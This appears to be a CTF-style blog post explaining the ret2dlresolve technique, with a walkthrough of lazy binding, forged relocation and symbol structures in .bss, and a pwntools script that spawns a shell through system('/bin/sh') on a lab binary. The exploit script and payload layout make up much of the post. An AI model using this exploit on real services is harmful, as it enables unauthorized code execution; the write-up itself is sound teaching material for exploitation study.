algoatson.github.io ~/posts
segfault@algoatson.github.io
back to index

ret2dlresolve — a shell with no libc leak

2026-05-103 min readpwn rop internals

The usual ROP recipe needs a libc leak: dump a GOT entry, subtract an offset, compute system. But what if the binary gives you no convenient leak primitive — no puts(puts@got) gambit, nothing? On a lazy-bound binary you don't need one. The dynamic linker already knows where libc is, and it will resolve a symbol by name on demand. ret2dlresolve makes it resolve system for you.

target./svc
arch
amd64-64-little
leak
none available
premise
lazy binding is on -> _dl_runtime_resolve is reachable
  • RELROpartial
  • PIEoff

how lazy binding actually works#

The first time you call foo@plt, its GOT slot still points back into the PLT, which pushes a relocation index and jumps to the resolver:

the lazy-bind chaintxt
call foo@plt
└ jmp *foo@got            # still points back into PLT on first call
  └ push reloc_index
    push link_map
    jmp _dl_runtime_resolve(link_map, reloc_index)
        ├ rela = JMPREL + reloc_index*sizeof(Elf64_Rela)   # .rel.plt entry
        ├ sym  = SYMTAB[ rela->r_info >> 32 ]              # .dynsym entry
        ├ name = STRTAB + sym->st_name                     # .dynstr string
        ├ addr = lookup(name)        # <-- the linker finds it in libc, no leak
        ├ *(rela->r_offset) = addr   # cache into GOT
        └ jmp addr                   # and call it

Every input to that walk is just memory at a computed offset. Nothing is signed, nothing is authenticated — the resolver trusts that reloc_index lands on a real Elf64_Rela. So point it somewhere you control.

forge the three structures#

In a writable region with a known address — on a no-PIE binary the .bss is fixed — lay down a fake relocation, a fake symbol, and the string "system", then pass an index that makes JMPREL + index*24 land on your fake Rela:

staged in .bss (addresses known: no PIE)txt
1
2
3
fake_rela:  r_offset = &got_slot   r_info = (fake_sym_idx << 32 | R_X86_64_JUMP_SLOT)
fake_sym:   st_name  = &"system" - STRTAB   (+ st_info etc.)
str:        "system\0"

Then ROP: set rdi = &"/bin/sh", push your crafted index, and jump to the PLT resolver stub (PLT[0]). The linker reads your Relayour Sym"system", looks it up in the real libc wherever ASLR put it, and calls it:

dlresolve.pypython
from pwn import *
elf = context.binary = ELF("./svc")

dl = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop = ROP(elf)
rop.raw(rop.ret)                       # alignment
rop.read(0, dl.data_addr)              # stage the fake structs into .bss
rop.ret2dlresolve(dl)                  # push index, jump to PLT[0]

io = process("./svc")
io.sendline(fit({offset: rop.chain()}))
io.sendline(dl.payload)                # the forged Rela/Sym/str
io.interactive()
shell, and the GOT never had system in it

No leak, no libc version guess — the linker did the lookup. system("/bin/sh"):

txt
segfault{the_linker_resolved_it_for_me}

when it works, and when it doesn't#

  • Lazy binding must be on. Full RELRO resolves every symbol at startup and read-onlys the GOT, so _dl_runtime_resolve is never used at runtime — this whole technique is dead. Partial RELRO / no RELRO keep it alive.
  • You need a known writable address to stage the fakes. No-PIE hands you .bss; with PIE you need a leak first, which somewhat defeats the point.
  • Modern glibc bounds-checks the symbol index against the real .dynsym size, so the giant-index trick needs care (keep the fake structures close to the real tables, or use the version that stays in bounds). pwntools picks a working layout for the common cases; exotic ones you craft by hand.

ret2dlresolve is the answer to "I have a ROP chain but no leak." You're not beating ASLR — you're asking the one component that's exempt from it, the dynamic linker, to hand you the address it already knows.